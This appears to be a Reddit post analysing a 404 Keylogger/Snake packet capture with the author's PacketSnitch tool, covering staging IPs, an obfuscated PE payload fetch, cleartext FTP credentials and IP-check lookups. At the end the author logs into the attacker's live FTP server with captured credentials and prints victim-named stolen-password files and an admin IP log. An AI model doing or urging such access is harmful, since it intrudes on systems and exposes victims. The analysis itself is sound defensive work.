r/MalwareAnalysis • u/oxagast • 13h ago
Malware Analysis of Snake/404 Keylogger using PacketSnitch
youtube.comBackground
I recently got my hands on a packet capture containing traffic from 404 Keylogger / Snake malware (thanks malware-traffic-analysis.net), and decided it would make a good real-world test of PacketSnitch, the network analysis software I have been developing. PacketSnitch is designed to take PCAP/PCAPNG captures and turn the raw traffic into something a little easier to tear apart: hosts, streams, credentials, files, certificates, geographic information, protocol data, content classifications, and other useful artifacts are correlated together instead of leaving you to manually dig through thousands of packets one at a time. Malware traffic is a particularly good usecase for this, because sometimes the interesting part isnât one individual packet, but what several different connections tell you when you start putting them together.
For anyone who would rather watch me go through the capture, I also recorded a screencast of the 404 Keylogger/Snake analysis. The complete report generated from the capture is also available as a PacketSnitch malware analysis summary.
What is in the capture?
The PCAP itself is relatively small: 2,021 packets spread across 11 streams totaling about 2.26 MB, but there is quite a bit going on inside it. Eight hosts were observed, six of which were Internet hosts, and PacketSnitch decoded DNS, FTP, HTTP, and WebSocket traffic over TCP/UDP. What immediately makes this capture nice for analysis is that almost none of it is encrypted. Out of 2,021 packets, 2,018 are unencrypted, leaving quite a bit of application data hanging out in the open.
The internal machine at 10.1.14.131 is involved throughout the capture, while several external hosts start becoming interesting once we look at what they were actually doing. The largest remote conversation is with 23.39.148.32, an Akamai-associated address, at 1,570 packets. More interesting from the malware-analysis perspective are 91.92.243.152, 193.122.6.168, and 188.127.239.250. Taken independently, none of those connections necessarily tells us much. Taken together, however, we start getting something that looks considerably less like normal user traffic.
An interesting HTTP payload
One of the first things that really stuck out was an HTTP request to 91.92.243.152 for a strangely named file:
REQUEST: GET /dealer/agwofile.txt HTTP/1.1
The remote server answered with HTTP/1.1 200 OK and returned roughly 360 KB of text data. The headers identify the server as Apache 2.4.58 running on Win64, with PHP 8.0.30 and OpenSSL 3.1.3 also disclosed by the server. Despite being served as text/plain, the contents arenât something that resembles an ordinary text document. PacketSnitch measured the data at around 4.91 entropy and identified the beginning of the object as long Base64-like/encoded-looking ASCII data (it happend to also be reversed base64).
==AAAAAAAAAAAAAA...8//AAAAEAAAAMAAQqVT
Reverse it, decode and the first few chars are:
00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
A Windows PE executable! There's our malware. Obfuscated.
That is exactly the sort of thing I want to notice when looking at malware traffic. An oddly named .txt file by itself isnât particularly exciting. An oddly named .txt file containing hundreds of kilobytes of encoded-looking data, being transferred by a suspicious host in a malware capture, deserves a much closer look.
More interestingly, reconstruction and analysis of the HTTP data exposed what appears to be a credential-stealer artifact. The recovered data contained a âVIP Recoveryâ style log referencing a machine named DESKTOP-WIN11PC, with credential-related information from Thunderbird as well as Edge/Chromium browser data associated with sites including eBay, Amazon, Facebook, and LinkedIn. That starts giving us a much better idea of what the malware traffic represents: weâre not just looking at random HTTP requests, but traffic associated with collection and movement of potentially stolen information.
Credentials flying around in cleartext
The HTTP traffic wasnât the only interesting part. PacketSnitchâs keystore picked up credential material associated with an FTP endpoint at:
FTP SERVER: 188.127.239.250
The FTP authentication information occurs across several packets in the capture. Because FTP authentication is plaintext, this is exactly the sort of thing that falls right out of a PCAP once the protocol is decoded. PacketSnitch correlated these artifacts into its keystore along with HTTP URI/URL information, TCP secrets, and a certificate observed elsewhere in the session.
This is one of the reasons I added the keystore functionality in the first place. When youâre analyzing a capture, I donât particularly want to search through 2,000 packets wondering if a username, password, certificate, URL, or other useful piece of data appeared somewhere. If PacketSnitch can identify it while decoding the traffic, it gets pulled out and put somewhere useful for the analyst.
There is an important distinction here, too: finding FTP credentials in a packet capture does not automatically tell us whether they belong to the malware operator, a compromised machine, a staging server, or something else entirely. It gives us another artifact to correlate. Malware analysis is usually a lot more useful when you resist the temptation to immediately label every IP and credential you find and instead start building relationships between them.
The malware checks its public IP
Another connection that caught my attention was an HTTP request involving checkip.dyndns.org. The request uses an ancient-looking User-Agent:
Header Info: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
The service responds with its normal âCurrent IP Checkâ page containing the externally visible IP address. The same IP-check behavior appears more than once in the decoded traffic.
This is useful behavior to identify because malware frequently needs to know something about the environment it is running inside. Discovering the public IP can be useful for identifying a victim, tracking an infected system behind NAT, associating collected data with a machine, or simply reporting network information back as part of the victim profile. By itself, querying a âwhat is my IPâ service obviously isnât malicious â plenty of legitimate software does that â but sitting beside credential-stealing artifacts, FTP authentication, and unusual HTTP transfers, it becomes another piece of the puzzle.
This is also a good example of why context matters so much in packet analysis. Looking only at that HTTP request gives you âa program checked its public IP.â Looking at it in the context of everything else gives you âa machine involved in suspected credential-stealing activity checked its externally visible IP while also communicating with several other pieces of infrastructure.â
Following the trail Overall, the traffic looks like a combination of host identification, credential activity, and data transfer/staging. PacketSnitch classified content in the capture as everything from ordinary ASCII through compressed/binary and executable-looking data. MIME detection included application/octet-stream, application/x-dosexec, application/zlib, text/plain, and text/html, among others. These signatures shouldnât individually be taken as proof that each corresponding file type was intentionally transferred â file identification against arbitrary network data can generate some weird matches â but they give us useful places to start digging.
One thing I found particularly useful about this capture is how clean it was from a network-analysis standpoint. There were zero undecodable packets and zero TCP retransmissions, with only six out-of-order segments. That makes reconstructing the application data considerably nicer than working with a noisy or incomplete capture. PacketSnitch was able to correlate 1,753 packets through its heatmap and pull the higher-level artifacts together without losing the ability to drop down into individual packets and streams when something looked interesting. That is really the idea behind PacketSnitch. Wireshark and other packet tools are incredibly useful, but I wanted something aimed more directly at answering âwhat is interesting in this capture?â before I start spending hours manually dissecting it. PacketSnitch takes the capture, inventories the hosts and protocols, extracts things such as credentials and certificates, identifies transferred content, correlates streams and endpoints, performs threat-intelligence enrichment, and then gives me places to start digging deeper. The analyst still has to decide what the evidence actually means â which is exactly how it should be.
Conclusion
This 404 Keylogger/Snake capture ended up being a pretty good demonstration of that workflow. Starting with only a couple thousand packets, we can quickly move from âsome Windows machine talked to some Internet hostsâ to identifying a large suspicious HTTP transfer, recovered credential-stealer data, plaintext FTP credentials, repeated public-IP discovery, and the infrastructure
involved in those conversations. From there we can start pivoting on the hosts, credentials, payloads, timestamps, and other indicators to figure out what belongs to the malware and what is simply incidental traffic.
If you want to dig through the complete results yourself, I published the full PacketSnitch-generated analysis here. I also recorded a video walkthrough of my analysis, where you can see theactual workflow inside PacketSnitch rather than just reading the final results. Further... From temporal analysis of the FTP server admin log, along with the fs date stamps on the files, I did some calculations, and concluded the threat actor almost surely lives in Sweden.
Connected to 188.127.239.250 (188.127.239.250).
220 FTP Server ready.
Name (188.127.239.250:marshall): user1369590
331 Password required for user1369590
Password:
230 User user1369590 logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (188,127,239,250,137,80).
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 .
drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 ..
-rw-r--r-- 1 user1369590 11465 350 Aug 23 09:49 ABHISHE - Passwords ID - ZyiAEnXWZP1826493443.txt
drwx------ 2 user1369590 11465 4096 Aug 30 14:07 bin-tmp
-rw-r--r-- 1 user1369590 11465 341 Aug 19 15:21 CATHELL - Passwords ID - ZyiAEnXWZP1878462460.txt
-rw-r--r-- 1 user1369590 11465 7125 Jun 17 05:51 DESKTOP-BGF5EUH - Passwords ID - ZyiAEnXWZP2087716011.txt
-rw-r--r-- 1 user1369590 11465 545 Jun 18 14:32 DESKTOP-NB7V4CN - Passwords ID - ZyiAEnXWZP209915119.txt
-rw-r--r-- 1 user1369590 11465 537 Jun 16 00:45 DESKTOP-RGQ8GCE - Passwords ID - ZyiAEnXWZP611328409.txt
-rw-r--r-- 1 user1369590 11465 312 Aug 20 13:59 DmOZlLGNfUziPNV - Passwords ID - ZyiAEnXWZP225150320.txt
-rw-r--r-- 1 user1369590 11465 11 Aug 18 13:36 .fmsettings
-rw-r--r-- 1 user1369590 11465 1108 Aug 25 06:11 GEORGEPOP21 - Passwords ID - ZyiAEnXWZP992456622.txt
-rw-r--r-- 1 user1369590 11465 342 Aug 23 09:38 HAROLDY - Passwords ID - ZyiAEnXWZP54922518.txt
-rw-r--r-- 1 user1369590 11465 10365 Aug 21 05:50 HAZAN-HP - Passwords ID - ZyiAEnXWZP162938209.txt
-rw-r--r-- 1 user1369590 11465 11151 Aug 28 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP1700571688.txt
-rw-r--r-- 1 user1369590 11465 10613 Aug 22 17:11 HAZAN-HP - Passwords ID - ZyiAEnXWZP1727364251.txt
-rw-r--r-- 1 user1369590 11465 11150 Aug 27 17:56 HAZAN-HP - Passwords ID - ZyiAEnXWZP1839898583.txt
-rw-r--r-- 1 user1369590 11465 10613 Aug 23 08:12 HAZAN-HP - Passwords ID - ZyiAEnXWZP1935694740.txt
-rw-r--r-- 1 user1369590 11465 10614 Aug 24 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP517458626.txt
-rw-r--r-- 1 user1369590 11465 1104 Aug 25 06:27 JOEBILL - Passwords ID - ZyiAEnXWZP533920906.txt
-rw-r--r-- 1 user1369590 11465 355 Aug 26 00:51 JOYCERUSSE - Passwords ID - ZyiAEnXWZP482958106.txt
-rw-r--r-- 1 user1369590 11465 339 Aug 23 09:51 KELHAR - Passwords ID - ZyiAEnXWZP687420582.txt
-rw-r--r-- 1 user1369590 11465 312 Aug 19 11:05 L6pxCXsEDiRdoKx - Passwords ID - ZyiAEnXWZP244649265.txt
-rw-r--r-- 1 user1369590 11465 2522 Aug 20 08:45 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP84903678.txt
-rw-r--r-- 1 user1369590 11465 2541 Jun 24 04:44 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP866775951.txt
-rw-r--r-- 1 user1369590 11465 340 Aug 19 15:37 MATTHE - Passwords ID - ZyiAEnXWZP1308920128.txt
-rw-r--r-- 1 user1369590 11465 312 Aug 21 14:47 of68P2M4Mb8ikot - Passwords ID - ZyiAEnXWZP660019800.txt
drwxr-x--x 2 user1369590 11465 4096 Aug 30 14:07 php-bin
drwxr-xr-x 2 user1369590 11465 4096 Aug 24 08:09 popup
-rw-r--r-- 1 user1369590 11465 361 Aug 19 15:26 SANDRAP - Passwords ID - ZyiAEnXWZP1738639307.txt
-rw-r--r-- 1 user1369590 11465 3963 Jun 26 13:43 SEDAT-EXCALIBUR - Passwords ID - ZyiAEnXWZP277678885.txt
-rw-r--r-- 1 user1369590 11465 345 Aug 19 15:35 SRIHAWKINS - Passwords ID - ZyiAEnXWZP537245596.txt
-rw-r--r-- 1 user1369590 11465 345 Aug 23 09:40 WILLIAWARD - Passwords ID - ZyiAEnXWZP935722026.txt
226 Transfer complete
ftp>
Then the admin log from the FTP server (found via FTP server credentials the malware logged in with):
142.0.249.99
178.51.82.190
185.213.82.52
191.101.160.72
194.124.76.19
194.34.233.230
195.88.86.76
216.180.124.26
2.58.73.10
51.36.41.124
77.218.111.208
77.218.111.6
78.82.186.29 <--- very first signin 2025-09-22
83.143.107.189
83.182.18.14
83.182.18.18
83.182.18.212
83.185.88.84
83.186.139.156
83.186.139.36
83.186.230.102
83.186.230.227
83.186.230.231
83.187.166.73
83.187.170.153
83.187.179.48
83.187.190.187
90.129.106.121
90.129.108.224
90.129.118.140
90.129.120.89
90.129.123.23
90.141.149.15
90.141.149.46
94.114.89.66
This was primarily a network based analysis. There is certainly more to analyze on the actual malware binary itself, but out of the scope of this article.
PacketSnitch itself is open source and available from packetsnitch.com. Iâm actively developing it (github link), and real malware captures like this are some of the best tests I have found for figuring out what an analyst actually needs when staring at a pile of packets.
P.S. For anyone who is interested in that FTP endpoint... it is live.
Hope youâve enjoyed the analysis, and happy hacking!